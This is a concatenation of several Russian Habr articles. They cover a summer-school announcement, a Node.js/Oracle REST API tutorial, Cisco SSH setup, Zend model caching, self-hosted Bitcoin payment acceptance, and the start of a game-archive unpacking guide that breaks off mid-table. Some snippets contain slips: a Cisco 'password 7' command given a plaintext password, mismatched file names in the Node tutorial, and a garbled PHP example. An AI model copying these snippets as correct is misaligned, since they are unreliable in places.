[](http://www.silicon-russia.com/wp-content/uploads/2017/02/nexys4_ddr_with_pmod_als_20170227_232316.jpg)
День 4. ПЛИС, вывод геометрических фигур на VGA
День 5. ПЛИС, конечный автомат для Angry Birds
Неделя 2. Процессор
День 1. Программирование на языке ассемблера.
День 2. Однотактовый процессор schoolMIPS.
День 3. Интерация процессора с выводом геометрических фигур на VGA.
День 4. Лекция про прерывания и многозадачность. Индивидуальный проект — программируемая на процессоре видео игра с выводом на VGA.
День 5. Лекция про конвейер. Конкурс индивидуальных проектов.
Неделя 3. Программируемое радио. Программа блока состоит из трех основных частей:
– основы электродинамики и распространения радиоволн (теоретическая часть);
– принцип работы приемо-передающего тракта (теория и практика);
– основы цифровой обработки сигналов – фильтрация, спектральный анализ (теория и практика).
День 1. Теоретические основы электродинамики и распространения радиоволн. Структурная схема передающего тракта, функции составных частей. Сигналы (гармонический, прямоугольный). Практическое занятие по сигналам с использованием NI Elvis.
День 2. Перенос сигналов на высокую частоту. Математическое обоснование переноса частоты с использованием Matlab. Практическое занятие по переносу частоты с использованием NI Datex.
День 3. Усиление и излучение сигналов. Практическое занятие с использованием NI Datex. Демонстрация направленности антенн.
День 4. Фильтрация сигнала. Практическое занятие с использованием NI Datex. Фильтрация цифрового сигнала в Matlab
День 5. Перенос сигналов на низкую частоту. Практическое занятие с использованием NI Datex. Обобщение пройденного материала, подведение итогов.
Про остальные дни школы больше деталей будет в отдельном посте, после обсуждения этого в оргкомитете летней школы. Если вы хотите участвовать в летней школе в МИЭТ в Зеленограде в роли школьника или инструктора, то [организаторы только что выложили контакты и регистрацию](https://docs.google.com/forms/d/e/1FAIpQLScoY-iopc3oMthkjYGCwqD0lzg5SKtwMJF0vRLDduMBRvAsCA/viewform). Если вы школьник, то принципиально чтобы вы до июля полностью прошли все три модуля роснановского онлайн-курса ([«От транзистора до микросхемы»](https://stemford.org/#course?id=6410690722451343819), [«Логическая сторона цифровой схемотехники»](https://stemford.org/#course?id=6410690722451344036) и [«Физическая сторона цифровой схемотехники»](https://stemford.org/#course?id=6410690722451344042)). Практика будет тяжелая, и мы не имеем возможности останавливаться, чтобы разобраться, в каком цикле какое значение находится на входе или выходе D-триггера. Это сразу в голову не вмещается, но если вы пройдете онлайн-курс, то вам будет легче.
Немного деталей [про семинар в Лас-Вегасе 4 июня](https://www.eventbrite.com/e/mips-open-developer-day-registration-61820528866):
Не так часто бывает, чтобы инженерный семинар, разработанный изначально для России, и опробованный в России (в том числе в МФТИ), Украине и Казахстане, потом начинает проводится в Лас-Вегасе, на конференции автоматизации проектирования электроники. В России и Украине он назывался «Семинар по MIPSfpga», а на Design Automation Conference он называется «MIPS Open Developer Day». Приходите 4 июня в Embassy Suites by Hilton Convention Center по адресу 3600 Paradise Road, Las Vegas, и вы поучаствуете в шоу, которое уже увидели студенты и преподаватели МГУ, МФТИ, МИФИ, зеленоградского МИЭТ, питерского ИТМО, томского ТГУ, киевского КПИ, алматинского АлмаУ и частично Назарбаевского университета в Астане.
MIPSfpga — это пакет, который содержит процессорное ядро в исходниках на Verilog, которое можно менять, добавлять новые инструкции, наблюдать работу кэша и конвейера, строить многопроцессорные системы, менять одновременно софтвер и хардвер и т.д. В новом варианте семинара вы добавите к процессору сопроцессор для ускорения алгоритмов искуственного интеллекта.
Кроме этого в новом варианте семинара мы покажем, как сконфигурировать ядро из пакета MIPS microAptiv UP и вставить его в обвязку MIPSfpga. При конфигурации вы можете создавать экзотические варианты процессора, например процессор с 16-ю наборами по 32 регистра. Эти наборы вы можете автоматически переключать при входе в прерывание и тем самым быстро менять контекст, без сохранения/восстановления контекста из памяти, что в обычной RTOS занимает порядка тысячи циклов.
MIPSfpga не предназначен для введения в предмет с абсолютного нуля. Для его плодотворного использования нужно чтобы студент уже знал основы цифровой схемотехники, умел бы программировать на Си и на ассемблере, а также представлял бы концепции микроархитектуры — конвейера, конфликтов конвейера и т.д. Именно это изучается в schoolMIPS, который мы используем в Зеленограде.
Вот слайд про механизм добавления инструкций в процессор MIPS microAptiv UP:
[](http://www.silicon-russia.com/wp-content/uploads/2019/05/Screenshot-2019-05-21-22.45.28.png)
На семинаре в Лас-Вегасе 4 июня и вероятно на летней школе юных электронщиков, которая пройдет 8-26 июля в МИЭТ в Зеленограде, мне будет помогать моя дочь Элизабет Панчул (если она вовремя получит визу). Так как Элизабет является полуяпонкой-полурусско/украинкой, она владеет только английским языком. Поэтому инструкторы-россияне (студенты или аспиранты МФТИ, МГУ итд которые готовы помогать нам с Элизабет и миэтовцами в проведении школы) могут выучить он нее правильный акцент английского, а она от них — основам русского. В дополнение к изучению Verilog-а, MIPS, архитектуры, микроархитектуры и организации DMA в память при выводе на графический экран:
Ждем вас на всех семинарах, а также в комитетах по созданию их программ! | https://habr.com/ru/post/452872/ | null | ru | null |
# Создание REST API с Node.js и базой данных Oracle. Часть 3
#### Часть 3. Создание REST API: обработка запросов GET
В [предыдущей статье](https://habr.com/ru/post/473346/) вы установили соединение с базой данных.
В этой же добавите логику маршрутизации, контроллера и базы данных для обработки HTTP-запроса GET на конечную точку API «employees».
#### Добавление логики маршрутизации
Express поставляется с классом [Router](https://expressjs.com/en/4x/api.html#router), который упрощает маршрутизацию HTTP-запросов к соответствующей логике контроллера. [Пути маршрутов](https://expressjs.com/en/guide/routing.html#route-paths) определяют конечные точки URL API и могут содержать [параметры маршрута](https://expressjs.com/en/guide/routing.html#route-parameters), которые фиксируют значения в URL.
Существует множество способов определить маршруты для вашего приложения. Например, когда приложение запускается, вы можете прочитать все файлы в каталоге контроллеров и автоматически сгенерировать логику маршрутизации на основе некоторых предопределенных правил, таких как имена файлов и свойства, которые они предоставляют. Кроме того, вы можете добавить файл в каталог конфигурации и прочитать его во время запуска.
В этом приложении вы будете использовать немного более низкоуровневый подход, программно определяя маршруты через новый модуль маршрутизатора. Создайте новый файл с именем **router.js** в каталоге **services**. Добавьте следующий код в файл и сохраните изменения.
```
const express = require('express');
const router = new express.Router();
const employees = require('../controllers/employees.js');
router.route('/employees/:id?')
.get(employees.get);
module.exports = router;
```
Модуль маршрутизатора начинается с того что запрашивается модуль Express, а затем создает новый экземпляр класса Router Express. Метод route модуля router используется для определения маршрута на основе переданных данных. Путь включает необязательный (из-за знака вопроса) параметр с именем id. Маршрут, возвращаемый из router, имеет методы, которые соответствуют методам HTTP и позволяют определять обработчики. В этом случае метод get используется для сопоставления входящего запроса GET с функцией get, определенной в контроллере сотрудников (которая будет создана ниже).
На данный момент у вас есть маршрутизатор, но он не используется в приложении. Чтобы использовать его, откройте файл **services / web-server.js** и удалите строку вверху, для которой требуется модуль базы данных (он использовался только для тестирования в [предыдущем посте](https://habr.com/ru/post/473346/)). Добавьте следующую строку кода на его место.
```
// *** line that requires ../config/web-server.js is here ***
const router = require('./router.js');
```
Затем используйте следующий код для замены всего обработчика app.get, который отвечает на запросы GET с использованием модуля базы данных (все 7 строк).
```
// *** line that adds morgan to app here ***
// Mount the router at /api so all its routes start with /api
app.use('/api', router);
```
Теперь router запрашивается в модуль веб-службы и «монтируется» в / api. Это означает, что полным URL-адресом для конечной точки сотрудников будет http: // server: port / api / employee /: id.
#### Добавление логики контроллера
Логика контроллера вступит в работу с момента, когда конечная точка URL и метод HTTP известны. Поскольку веб-сервер построен с использованием Express, логика контроллера будет определяться с помощью специального [middleware](https://expressjs.com/en/guide/writing-middleware.html) или функций, которые имеют доступ к request и response объектам, а также к функции next.
Функция промежуточного программного обеспечения (middleware) будет использовать входные данные из объекта request для генерации ответа, который отправляется в response объект. Функция next обычно используется для вызова следующей функции промежуточного программного обеспечения в конвейере. Однако в этом API логика контроллера будет последним шагом в конвейере и завершит HTTP-ответ. Функция next будет вызываться только в случае возникновения ошибки, которая передает управление в стандартный обработчик ошибок Express.
Перейдите в каталог **controllers** и создайте новый файл с именем **employee.js**. Скопируйте и вставьте следующий код в файл и сохраните изменения.
```
/*01*/const employees = require('../db_apis/employees.js');
/*02*/
/*03*/async function get(req, res, next) {
/*04*/ try {
/*05*/ const context = {};
/*06*/
/*07*/ context.id = parseInt(req.params.id, 10);
/*08*/
/*09*/ const rows = await employees.find(context);
/*10*/
/*11*/ if (req.params.id) {
/*12*/ if (rows.length === 1) {
/*13*/ res.status(200).json(rows[0]);
/*14*/ } else {
/*15*/ res.status(404).end();
/*16*/ }
/*17*/ } else {
/*18*/ res.status(200).json(rows);
/*19*/ }
/*20*/ } catch (err) {
/*21*/ next(err);
/*22*/ }
/*23*/}
/*24*/
/*25*/module.exports.get = get;
```
**Строка 1:** API базы данных сотрудников (будет создана ниже).
**Строки 3-23:** объявлена асинхронная функция с именем get. Блок try-catch используется в теле функции для перехвата исключений, генерируемых в основном потоке, и передачи их следующей функции.
**Строки 5-7:** объявлена константа с именованным контекстом — это универсальный объект, который будет содержать свойства, относящиеся к методу поиска API базы данных. Свойство id добавляется в контекст на основе значения, которое приходит через req.params.id.
**Строка 9:** Метод find используется для извлечения соответствующих записей employees в базе данных.
**Строки 11-19:** условная логика используется для определения правильного кода состояния HTTP и тела ответа. Если один сотрудник был запрошен, но не найден, в качестве ответа отправляется код ошибки «404 Not Found». В противном случае отправляется код «200 OK» вместе с основанным на JSON телом ответа.
**Строка 25:** экспорт модуля чтоб можно добавить к другим модулям
Объект req.params — это всего лишь одно из нескольких свойств, используемых для получения данных из объекта [входящего запроса](https://expressjs.com/en/4x/api.html#req). Другие общие свойства включают req.query для значений строки запроса в URL, req.body для тела запроса и req.cookies. Заголовки HTTP можно получить с помощью метода req.get.
#### Добавление логики базы данных
Чтобы запустить модуль базы данных сотрудников, перейдите в каталог **db\_apis** и создайте новый файл с именем **employee.js**. Добавьте следующий код в файл.
```
const database = require('../services/database.js');
const baseQuery =
`select employee_id "id",
first_name "first_name",
last_name "last_name",
email "email",
phone_number "phone_number",
hire_date "hire_date",
job_id "job_id",
salary "salary",
commission_pct "commission_pct",
manager_id "manager_id",
department_id "department_id"
from employees`;
async function find(context) {
let query = baseQuery;
const binds = {};
if (context.id) {
binds.employee_id = context.id;
query += `\nwhere employee_id = :employee_id`;
}
const result = await database.simpleExecute(query, binds);
return result.rows;
}
module.exports.find = find;
```
Модуль базы данных сотрудников вводит общий модуль базы данных и инициализирует константу с именем baseQuery для SQL-запроса в таблице сотрудников. Псевдонимы столбцов в двойных кавычках используются для управления регистром возвращаемых ключей.
Затем объявляется функция с именем find, которая используется для выполнения запроса и возврата извлеченных строк. Если переданный параметр context имеет значение «истинного» id, то к запросу добавляется предложение where, так что возвращается только один сотрудник.
Обратите внимание, что значение context.id не было добавлено к запросу напрямую. Вместо этого использовался местозаполнитель с именем: employee\_id — это называется [bind variable](https://oracle.github.io/node-oracledb/doc/api.html#bind). Использование переменных связывания с базой данных Oracle очень важно с точки зрения безопасности и производительности. Значение bind variable присваивается объекту binds, который передается вместе с запросом в database.simpleExecute. Наконец, строки, полученные из базы данных, возвращаются вызывающей стороне.
Запустите приложение и перейдите в браузер по адресу http: // localhost: 3000 / api / employee. Вы должны увидеть список сотрудников следующим образом (я свернул пару):
Вы можете выбрать одного сотрудника, добавив идентификатор в конец URL-адреса, например: http: // localhost: 3000 / api / employee / 100.
На этом этапе ваш API может обрабатывать запросы GET на конечной точке сотрудников. В [следующем посте](https://habr.com/ru/post/473560/) вы расширите функциональность CRUD, добавив логику, которая обрабатывает запросы POST, PUT и DELETE. | https://habr.com/ru/post/473350/ | null | ru | null |
# Настройка SSH в Cisco
**Задача:**
Настроить SSH в Cisco. Сделать SSH средой по умолчанию для терминальных линий.
**Решение:**
`1. cisco> enable
2. cisco# clock set 17:10:00 28 Aug 2009
3. cisco# configure terminal
4. cisco(config)# ip domain name test.dom
5. cisco(config)# crypto key generate rsa
6. cisco(config)# service password-encryption
7. cisco(config)# username user privilege 15 password 7 Pa$$w0rd
8. cisco(config)# aaa new-model
9. cisco(config)# line vty 0 4
10. cisco(config-line)# transport input ssh
11. cisco(config-line)# logging synchronous
12. cisco(config-line)# exec-timeout 60 0
13. cisco(config-line)# exit
14. cisco(config)# exit
15. cisco# copy running-config startup-config`
**Пояснение:**
1. Входим в привилегированный режим
2. Устанавливаем точное время для генерации ключа
3. Входим в режим конфигурирования
4. Указываем имя домена (необходимо для генерации ключа)
5. Генерируем RSA ключ (необходимо будет выбрать размер ключа)
6. Активируем шифрование паролей в конфигурационном файле
7. Заводим пользователя с именем user, паролем Pa$$w0rd и уровнем привилегий 15
8. Активируем протокол ААА. (до активации ААА в системе обязательно должен быть заведен хотя бы один пользователь)
9. Входим в режим конфигурирования терминальных линий с 0 по 4
10. Указываем средой доступа через сеть по умолчанию SSH
11. Активируем автоматическое поднятие строки после ответа системы на проделанные изменения
12. Указываем время таймаута до автоматического закрытия SSH сессии в 60 минут
13. Выходим из режима конфигурирования терминальных линий
14. Выходим из режима конфигурирования
15. Сохраняем конфигурационный файл в энергонезависимую память | https://habr.com/ru/post/68262/ | null | ru | null |
# Интересный подход для кэширования моделей
На днях я получил задание реализовать кэширование в моделях. В обсуждениях с коллегами родилась довольно интересная, на мой взгляд, идея, которую я бы хотел выставить на ваш суд.
Реализация идеи на Zend Framework:
1. Все модели наследуются от нашего класса **My\_Db\_Table\_Abstract**:
> `class My\_Model\_ModuleSettings extends My\_Db\_Table\_Abstract`
2. Который в свою очередь наследуется от **Zend\_Db\_Table\_Abstract**:
> `class My\_Db\_Table\_Abstract extends Zend\_Db\_Table\_Abstract`
3. В базовом для всех моделей классе **My\_Db\_Table\_Abstract** описываем магический метод *\_\_call()*:
> `public function \_\_call($name, $arguments)
>
> {
>
> /\*\* If call cached method \*/
>
> if (preg\_match('/^cached\_(.+)$/', $name, $methodName)&&method\_exists($this,$methodName[1])) {
>
> /\*\* Get cache instance \*/
>
> $cache = My\_Cache::getInstance();
>
> /\*\* Get arguments hash \*/
>
> $argHash = md5(print\_r($arguments, true));
>
> /\*\* Get model class name \*/
>
> $className = get\_class($this);
>
> /\*\* If method result don't cached \*/
>
> if (!$result = $cache->load('model\_'.$className.'\_'.$methodName[1].'\_'.$argHash)) {
>
> $result = call\_user\_method\_array($methodName[1], $this, $arguments);
>
> $cache->save($result,
>
> 'model\_'.$className.'\_'.$methodName[1].'\_'.$argHash,
>
> array('model',$className,$methodName[1]));
>
> }
>
> return $result;
>
> } else {
>
> /\*\* Generate exception \*/
>
> throw new Exception('Call to undefined method '.$name);
>
> }
>
> }`
Теперь у нас появилась возможность использовать методы моделей двумя способами:
1. Не кэшируя, просто обратившись к методу:
> `$result = $this->\_life->getAll('Now!!');`
2. Кэшируя, дописав к имени метода префикс «cached\_»:
> `$result = $this->\_life->cached\_getAll('Now!!');`
Во втором случае, обращаясь к несуществующему методу, срабатывает метод *\_\_call()*, в котором проверяется наличие закэшированного результата. Если результат выполнения метода закеширован — используется кэш, если нет — вызывается метод и полученный результат кэшируется.
Некоторые нюансы:
1. Для того чтобы кэш результата выполнения метода был разный при отличающихся параметрах метода я сделал хеширование параметров:
> `$argHash = md5(print\_r($arguments));`
Это, пожалуй, самый неоднозначный момент, т.к. я не могу точно сказать, как это может повлиять на производительность (при тестировании увеличение нагрузки замечено не было). При этом можно использовать разные функции хеширования(md5(),sha1()..) и разные способы приведения массива переменных к строковому типу (print\_r(), var\_dump(), implode()).
2. Имя кэшируемого файла имеет вид *model\_ИмяКласса\_ИмяМетода\_ХэшПараметров*, исключая возможность совпадения.
3. Кэш помечается тегами *'model'*, *'className'* и *'methodName'*, которые позволяют легко манипулировать очисткой. Вот для примера очистка кэша всех методов модели **My\_Model\_ModuleSettings**:
> `$cache->clean(
>
> Zend\_Cache::CLEANING\_MODE\_MATCHING\_ANY\_TAG,
>
> array('My\_Model\_ModuleSettings')
>
> );`
Очень хотелось бы услышать ваши комментарии… Какие вы видите недостатки этого способа? Имеет ли он право на жизнь? | https://habr.com/ru/post/72828/ | null | ru | null |
# Делаем приём платежей криптовалютой своими руками
Привет, Хабр!
Время от времени замечаю вопросы о том, как принимать платежи Bitcoin на своём сайте без использования сторонних сервисов. Это достаточно просто, но надо учитывать, что есть подводные камни.
В этой статье я постараюсь максимально подробно, без акцента на каком-либо языке программирования, описать, как сделать приём платежей Bitcoin (а также, при желании — Litecoin, Dash, Bitcoin Cash, Steep, ONION и т.п.), начиная с разворачивания полной ноды и заканчивания проверкой поступления платежа.
Предварительные требования
--------------------------
Подразумевается, что вы имеете сайт, размещенный на VPS, к которой у вас есть root доступ, а также готовы тратить по $15+ на оплату сервера для кошелька.
Установка кошелька
------------------
Первым делом надо выделить отдельный сервер для размещения кошелька. Почему именно отдельный сервер? Отдельный сервер позволит снизить риски вывода всех ваших средств злоумышленником в случае взлома основного сайта. Ну и не стоит забывать, что для хранения blockchain требуется много места на диске (~150Gb места на диске и т. п. — подробности по [ссылке](https://bitcoin.org/en/full-node#costs-and-warnings)).
Какие есть варианты дешевых серверов? Их масса, на мой взгляд самый адекватный — сервера от hetzner.de или chipcore.com. На chipcore.com, например, можно взять dedicated с диском на 500Gb (хватит на BTC и еще пару блокчейнов) всего за 990 рублей (примерно 17 баксов). Если знаете что-то дешевле — пишите в комментариях, очень интересно (думаю, не только мне).
После того, как вы осмысленно приняли решение о том, что хотите принимать криптовалюты на своём сайте и купили сервер (либо использовали имеющийся), надо установить bitcoin ноду.
На сервере должна быть установлена любая подходящая операционная система, самый простой вариант — Ubuntu 16.10 (да, на самом деле — это не лучший выбор, лучше установить 16.04 либо дождаться 18.04 и подождать еще пару месяцев для стабилизации). Как правило, заморачиваться с разбивкой диска нет смысла и можно смело использовать 2-4Gb на swap и остальное пускать на корневой раздел (/ или root).
После того, как сервер будет доступен, первое, что надо сделать — отключить авторизацию по паролям и настроить авторизацию по ssh ключам. Сделать это достатчно просто, есть хорошее описание от [DigitalOcean](https://www.digitalocean.com/community/tutorials/c-ubuntu-16-04-ru).
После того, как сервер будет настроен, достаточно пары команд для того, чтобы запустить полноценную ноду кошелька
Устанавливаем bitcoind
----------------------
```
sudo apt-add-repository ppa:bitcoin/bitcoin
sudo apt-get update
sudo apt-get install bitcoind
```
Это всё, что требуется для установки ноды
### Настройка bitcoind
Первым делом надо создать пользователя `bitcoin`:
```
adduser bitcoin
# везде выбираем стандартные значения и указываем какой-нибудь сложный пароль
```
и создать служебные директории:
```
mkdir -p /etc/bitcoin
chown bitcoin: /etc/bitcoin
mkdir -p /run/bitcoind
chown bitcoin: /run/bitcoind
mkdir -p /var/lib/bitcoind
chown bitcoin: /var/lib/bitcoind
```
Теперь осталась самая мелочь – корректно настроить ноду для приёма JSON RPC запросов.
Минимальный конфиг будет выглядеть так:
```
rpcuser=USERNAME
rpcpassword=PASSWORD
rpcbind=127.0.0.1
rpcallowip=127.0.0.1/32
```
Его надо положить по адресу `/etc/bitcoin/bitcoin.conf`. И не забыть установить корректного владельца:
```
chown bitcoin: /etc/bitcoin/bitcoin.conf
```
Важно: использование USERNAME и PASSWORD — deprecated метод и немного не безопасный. Более правильно использовать rpcauth, пример можете найти [по ссылке](https://en.bitcoin.it/wiki/Running_Bitcoin).
Далее, достаточно настроить systemd сервис для запуска ноды (в том числе после перезагрузки).
Для этого можно просто скопировать юнит файл, размещенный по [адресу](https://github.com/bitcoin/bitcoin/blob/master/contrib/init/bitcoind.service) в директорию `/etc/systemd/system/`:
```
wget https://raw.githubusercontent.com/bitcoin/bitcoin/master/contrib/init/bitcoind.service -O /etc/systemd/system/bitcoind.service
```
После чего запустить его и настроить автозапуск:
```
systemctl daemon-reload
systemctl start bitcoind
systemctl enable bitcoind
```
Теперь можно проверить рабостопособность ноды:
```
curl --data-binary '{"jsonrpc": "1.0", "method": "getinfo", "params": [] }' -H 'Content-Type: application/json' http://USERNAME:PASSWORD@127.0.0.1:8332/
```
Если всё ок — в ответ придёт примерно такое сообщение:
```
{"result":{"balance":0.000000000000000,"blocks":59952,"connections":48,"proxy":"","generate":false,
"genproclimit":-1,"difficulty":16.61907875185736},"error":null,"id":"curltest"}
```
### Настройка сервера основного сайта
Осталось только настроить сервер, на котором расположен ваш сайт.
Наиболее безопасный и простой способ сделать доступным на бекенде API кошелька — прокинуть ssh туннель через сервис systemd (ну или любой другой init сервис). В случае использования systemd конфигурация сервиса максимально проста:
```
[Unit]
Description=SSH Tunnel BTC
After=network.target
[Service]
Restart=always
RestartSec=20
User=tunnel
ExecStart=/usr/bin/ssh -NT -o ServerAliveInterval=60 -L 127.0.0.1:8332:127.0.0.1:8332 tunnel@YOUR_SERVER_IP
[Install]
WantedBy=multi-user.target
```
Эту конфигурацию нужно разместить по пути `/etc/systemd/system/sshtunnel-btc.service`.
После этого ставим сервис в автозапус и запускаем:
```
systemctl enable sshtunnel-btc.service
systemctl start sshtunnel-btc.service
```
Для проверки можно постучаться на порт локалхоста и проверить, что всё ок:
```
curl --data-binary '{"jsonrpc": "1.0", "method": "getinfo", "params": [] }' -H 'Content-Type: application/json' http://USERNAME:PASSWORD@127.0.0.1:8332/
```
Документация API
----------------
Со списком всех методов удобнее всего ознакомиться по [ссылке](https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list).
Вызывать их очень просто даже через curl, пример запроса мы уже использовали ранее при получении информации о ноде методом getinfo.
Есть два варианта передачи параметров — массивом либо словарём.
Ниже можно увидеть примеры запроса на получение нового адреса с передачей параметров массивом и словарём:
```
# array
curl --data-binary '{"jsonrpc": "1.0", "method": "getnewaddress", "params": ["test"] }' -H 'Content-Type: application/json' http://USERNAME:PASSWORD@127.0.0.1:8332/
# object
curl --data-binary '{"jsonrpc": "1.0", "method": "getnewaddress", "params": {"account": "test"} }' -H 'Content-Type: application/json' http://USERNAME:PASSWORD@127.0.0.1:8332/
```
Простой API клиент
------------------
Для использования удобно написать простую обертку с нужными нам функциями (либо использовать имеющуюся библиотеку для вашего языка). Пример для ruby:
```
class Btc
class BtcError < StandardError; end
SUPPORTED_METHODS = %w(get_new_address get_addresses_by_account get_info get_net_totals get_balance get_received_by_address send_to_address list_transactions get_transaction)
class << self
def method_missing(method_name, *args)
if SUPPORTED_METHODS.include?(method_name.to_s)
send_request(method_name.to_s, args.empty? ? nil : args)
else
super
end
end
def respond_to_missing?(method_name, _include_private = false)
SUPPORTED_METHODS.include?(method_name) || super
end
protected
def host
ENV["HOST"] || "http://username:password@127.0.0.1:8332"
end
private
def send_request(method, params = nil)
uri = URI.parse(host)
request = Net::HTTP::Post.new(uri)
request.basic_auth uri.user, uri.password
request.body = JSON.dump(
jsonrpc: "1.0",
method: method.tr("_", ""),
params: params
)
req_options = { use_ssl: uri.scheme == "https" }
response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|
http.request(request)
end
begin
result = JSON.parse(response.body)
rescue JSON::ParserError
raise BtcError.new(response.body)
end
raise BtcError.new(result["error"].to_json) if result["error"]
result["result"].is_a?(Hash) ? result["result"].deep_symbolize_keys : result["result"]
end
end
end
```
После этого можно удобно пользоваться им в примерно таком виде:
```
# run with HOST env variable (HOST=http://username:password@localhost:8332)
Btc.get_info
# => {result: {...}}
```
Аналогиный пример для node.js:
```
var http = require('http');
function BtcApi(host, port, username, password) {
this.host = host;
this.port = port;
this.username = username;
this.password = password;
};
BtcApi.methods = [
'getNewAddress',
'getAddressesByAccount',
'getInfo',
'getNetTotals',
'getBalance',
'getReceivedByAddress',
'sendToAddress',
'listTransactions',
'getTransaction',
];
BtcApi.prototype.sendRequest = function(method, params, callback) {
if (BtcApi.methods.indexOf(method) === -1) {
throw new Error('wrong method name ' + method)
};
if (callback == null) {
callback = params;
};
var body = JSON.stringify({
jsonrpc: '1.0',
method: method.toLowerCase(),
params: params,
});
var auth = 'Basic ' + Buffer.from(this.username + ':' + this.password).toString('base64');
var options = {
host: this.host,
port: this.port,
path: '/',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': auth
},
};
var request = http.request(options, function (response) {
var result = '';
response.setEncoding('utf8');
response.on('data', function (chunk) {
result += chunk;
});
// Listener for intializing callback after receiving complete response
response.on('end', function () {
try {
callback(JSON.parse(result));
} catch (e) {
console.error(e);
callback(result);
}
});
});
request.write(body)
request.end()
};
for (var i = 0; i < BtcApi.methods.length; i++) {
BtcApi.prototype[BtcApi.methods[i]] = function (method) {
return function (params, callback) {
this.sendRequest(method, params, callback)
}
}(BtcApi.methods[i])
}
module.exports = BtcApi
```
Который можно использовать примерно следующим образом:
```
var BtcApi = require('./btc');
var client = new BtcApi('127.0.0.1', 8332, 'username', 'password');
client.listTransactions({ count: 1 }, function (response) {
console.log('response: ', JSON.stringify(response));
});
// {"result":[{...}]}
```
Для Python всё еще проще – официальный способ — [использование](http://json-rpc.org/wiki/python-json-rpc):
```
from jsonrpc import ServiceProxy
access = ServiceProxy("http://user:password@127.0.0.1:8332")
access.getinfo()
```
Собственно, с PHP также нет никаких проблем (рекомендуется использовать <http://jsonrpcphp.org/>):
```
require_once 'jsonRPCClient.php';
$bitcoin = new jsonRPCClient('http://user:password@127.0.0.1:8332/');
echo "
```
\n";
print_r($bitcoin->getinfo()); echo "\n";
echo "Received: ".$bitcoin->getreceivedbylabel("Your Address")."\n";
echo "
```
";
```
Хорошая подборка документации находится [здесь](https://en.bitcoin.it/wiki/API_reference_(JSON-RPC)#Python).
Приведенные выше примеры являются немного доработанными версиями перечисленных по ссылке.
Интеграция с сайтом
-------------------
Осталась достаточно простая часть — настроить обработку получения платежей и генерации адресов для пополнения.
Сам процесс интеграции приема платежей криптой выглядит примерно так:
* При запросе на оплату от пользователя показываем ему адрес, куда переводить средства
* В фоновом режиме (самый простой вариант — по cron) проверяем список транзакций кошелька и при поступлении новой — начисляем средства / меняем статус оплаты.
Для генерации адресов для приёма можно использовать несколько разных подходов – создание нового адреса для каждого депозита, либо использование постоянного адреса для аккаунта пользователя.
Первый вариант более безопасен (так как сложнее отследить повторные платежи плательщиком) и прост, но может стать проблемой при использовании не очень мощного железа (каждый сгенерированный адрес увеличивает нагрузку на ноду, но заметно это становится только от нескольких миллионов адресов).
Второй вариант — более удобен в случае, если пользователи должны регистрироваться и платят часто, но при этом менее безопасен (например, можно отследить все поступления средств на аккаунт пользователя).
Для генерации адреса пополнения нужно вызвать метод getnewaddress, который в ответе вернёт новый адрес для пополнения. Для удобства можно передать аккаунт в качестве параметра (account), к которому будет привязан созданный адрес. Иногда это может быть удобно для просмотра транзакций по конкретному пользователю.
Для проверки баланса подходят несколько методов. Самый простой способ — на каждый сгенерированный адрес для пополнения создавать запись в базе данных, после чего проверять для каждой из записей через метод `getreceivedbyaddress` поступления средств (не самый производительный вариант, но для большинства ситуаций подходит).
Еще хорошим вариантом будет получение информации через listtransactions о последних операциях и для них уже искать пользователя, который получает балансы. Какой вид реализации использовать — выбирать вам.
Важный момент при проверке транзакций — корректно указать кол-во подтверждений для защит от различных атак. Для большинства криптовалют обычно их можно найти в White Paper.
Для bitcoin рекомендуемое значение на данный момент — 6 подтверждений для небольших сумм. [Здесь](https://en.bitcoin.it/wiki/Confirmation#How_Many_Confirmations_Is_Enough) всё хорошо описано.
Примеры кода здесь уже не буду писать, потому что это сильно зависит от используемой технологии.
Заключение
----------
Хотелось написать еще про интеграцию других кошельков, более подробно про требования к серверу и про вывод, как принимать платежи, если сайт размещен не на VPS с root доступом и т. д., но понял, что статья и так получилась большая, поэтому, если будет интересно — лучше опубликую это в одной следующих статей. | https://habr.com/ru/post/350430/ | null | ru | null |
# Разбор форматов: упакованные хешированные ресурсы
В прошлых [двух](http://habrahabr.ru/post/257793/) [статьях](http://habrahabr.ru/post/258397/) я рассказал об особенностях форматов данных звуковой подсистемы современных игр. Чтобы не утомлять читателей, перейду к несколько другой теме. Какой бы движок не использовала игра, ей нужно где-то хранить ресурсы и извлекать их оттуда в нужный момент. Иногда ресурсы в архиве имеют как идентификатор, так и читабельное имя файла. Но существует довольно много движков, где имён у файлов нет, а есть только хеш. Как же в таком случае можно что-то разобрать в ресурсах?
Рассмотрим это на примере довольно редкого движка bitsquid. Он простой и компактный, но, тем не менее, имеет все необходимые для современных игр возможности. В прошлом году bitsquid вместе с его разработчиком был куплен компанией Autodesk, и теперь они собираются скрестить его с Maya и сделать свой собственный игровой движок, который, как они обещают, будет чем-то невероятным.
Чтобы любой желающий мог сам посмотреть на процесс, воспользуемся демо-версией игры [The showdown Effect](http://store.steampowered.com/app/204080/), которая к тому же совсем небольшого размера (около 250МБ). Зайдя в папку content, в которой, очевидно, и находятся все ресурсы, обнаруживаем там пару десятков файлов вот с такими замечательными именами:
```
038bbacc4ce89296
0d42c15e8f2b473f
171e8b0d2241eb79
406c3644bd95237a
44bcc04093e5c506
680514e023d37cd5
71eec7a172194fe5
9229959b09a3b4be
9e13b2414b41b842
a6db0de7cf227dfe
a9956e471d528263
ac5c2f0670e5d674
b5af853949550001
```
Должно быть это файлы пакетов/архивов с ресурсами. Откроем один из них и посмотрим, что там внутри. А там на протяжении всего файла не видно ни таблиц, ни текстов, ни каких-то осмысленных чисел — сплошная мешанина байтов:
Это обычно означает, что все данные зашифрованы и/или запакованы. В данном случае почти в самом начале комбинация байт 78 9C (выделены зеленым) однозначно говорит, что данные сжаты zlib. Попробуем для начала распаковать файл «вручную». Для этого применим [offzip](http://aluigi.altervista.org/mytoolz/offzip.zip) — утилиту, которая просто пытается распаковать любые последовательности байт внутри файла, как если бы они были упакованы zip или zlib, сколько бы их ни было в файле и в какой последовательности.
Выполняем следующую команду: **offzip -a 9e13b2414b41b842 unp 0**
Опция -a здесь означает, что надо попытаться найти в файле все сегменты, сжатые zlib, а не рассматривать файл как единственный сжатый блок. «unp» — папка для распаковки (её нужно предварительно создать). «0» — начальное смещение, то есть искать с самого начала файла.
Получаем следующее:
```
+------------+-----+----------------------------+----------------------+
| hex_offset | ... | zip -> unzip size / offset | spaces before | info |
